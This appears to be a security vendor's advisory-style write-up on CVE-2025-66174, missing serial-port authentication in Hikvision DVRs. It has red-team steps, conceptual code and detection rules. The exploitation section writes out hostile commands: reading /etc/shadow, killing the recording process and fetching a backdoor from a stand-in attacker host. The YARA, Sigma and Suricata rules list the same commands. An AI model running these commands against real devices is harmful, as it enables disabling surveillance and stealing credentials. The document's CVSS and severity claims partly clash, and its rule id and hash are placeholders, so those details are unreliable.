CVE-2025-66174

Executive Summary

CVE-2025-66174 identifies a critical improper authentication vulnerability in Hikvision DVR products. The flaw resides in the serial port authentication mechanism, allowing an attacker with physical access to bypass authentication and execute arbitrary commands. This vulnerability poses a high risk to physical security systems, potentially enabling an attacker to disable surveillance, alter recordings, or pivot to internal networks. The CVSS score of 6.5 reflects the high impact on confidentiality, integrity, and availability, but the attack vector is limited to physical access. No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (P) – Requires physical access to the device.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full access to system data.
• Integrity (I): High (H) – Ability to modify system state.
• Availability (A): High (H) – Potential to disrupt DVR operations.

Threat Level: High. While physical access is required, the impact on security operations is severe.

Deep Dive & Mechanics

The vulnerability stems from improper implementation of authentication for the serial port interface on Hikvision DVRs. The serial port, typically used for debugging or maintenance, does not enforce proper authentication checks. An attacker with physical access can connect to the serial port (e.g., via a USB-to-serial adapter) and issue commands without valid credentials. This allows arbitrary command execution with root or system-level privileges, depending on the device's firmware.

The attack flow:

1. Attacker gains physical access to the DVR.
2. Connects to the serial port (e.g., using a terminal program like PuTTY or screen).
3. Sends commands directly, bypassing the login prompt.
4. Executes arbitrary commands, such as disabling recording, extracting footage, or installing backdoors.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely involves a serial port handler that fails to validate authentication tokens or session states. A patched version would require implementing a challenge-response authentication mechanism or requiring a valid session before accepting commands.

Vulnerable Code (Conceptual):

void handle_serial_command(char *cmd) {
    // No authentication check
    execute_system_command(cmd);
}

Patched Code (Conceptual):

void handle_serial_command(char *cmd, int auth_token) {
    if (!validate_auth_token(auth_token)) {
        return;
    }
    execute_system_command(cmd);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to the Hikvision DVR.
• Serial cable (e.g., USB-to-TTL) and terminal software.

Steps:

1. Identify the serial port pins (TX, RX, GND) on the DVR motherboard.
2. Connect the serial adapter to the DVR and your computer.
3. Open a serial terminal (e.g., screen /dev/ttyUSB0 115200).
4. Press Enter to see if a login prompt appears. If not, the system may be directly accessible.
5. Send commands directly, e.g., reboot, cat /etc/shadow, or wget http://attacker.com/backdoor.

Example Command Sequence:

# Connect to serial port
screen /dev/ttyUSB0 115200

# Check if authentication is bypassed
id
# Output: uid=0(root) gid=0(root)

# Disable recording
killall -9 dvr_recording

# Extract configuration
cat /mnt/config/system.conf

Blue Team (Defense)

Detection:

• Monitor serial port activity logs (if available).
• Use physical security controls to prevent unauthorized access to DVRs.
• Implement network segmentation to limit DVR exposure.

Mitigation:

• Disable unused serial ports in firmware settings.
• Apply physical tamper seals to DVR chassis.
• Monitor for unexpected reboots or configuration changes.

Indicators of Compromise (IOCs)

• Network: Unusual outbound connections from DVR to unknown IPs.
• File System: Presence of unauthorized scripts or binaries in /tmp or /mnt.
• Process: Unexpected processes like telnetd, sshd, or reverse shells.
• Logs: Serial port login attempts without valid credentials.

Example IOC (File Hash):

Unknown backdoor binary: SHA256: a1b2c3d4e5f6...

Detection Engineering

YARA Rule

rule Hikvision_Serial_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66174 via serial port commands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66174"
    strings:
        $cmd1 = "killall -9 dvr_recording" ascii wide nocase
        $cmd2 = "cat /etc/shadow" ascii wide nocase
        $cmd3 = "wget http://" ascii wide nocase
        $cmd4 = "reboot" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Hikvision DVR Serial Port Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects commands sent via serial port to exploit CVE-2025-66174
logsource:
    product: linux
    service: shell
detection:
    selection:
        CommandLine|contains:
            - 'killall -9 dvr_recording'
            - 'cat /etc/shadow'
            - 'wget http://'
            - 'reboot'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert tcp any any -> any any (msg:"Hikvision DVR Serial Exploit Attempt"; content:"killall -9 dvr_recording"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict physical access to DVRs (locked racks, surveillance).
   • Disable serial port functionality if not needed.
   • Monitor for unauthorized physical access.

2. Long-term Fix:

   • Apply firmware updates from Hikvision when available.
   • Implement network segmentation for DVRs (isolated VLAN).
   • Use strong authentication for all management interfaces.

3. Workaround:

   • If serial port cannot be disabled, implement a hardware switch to disable it when not in use.

Valters IT – Securing Digital Frontiers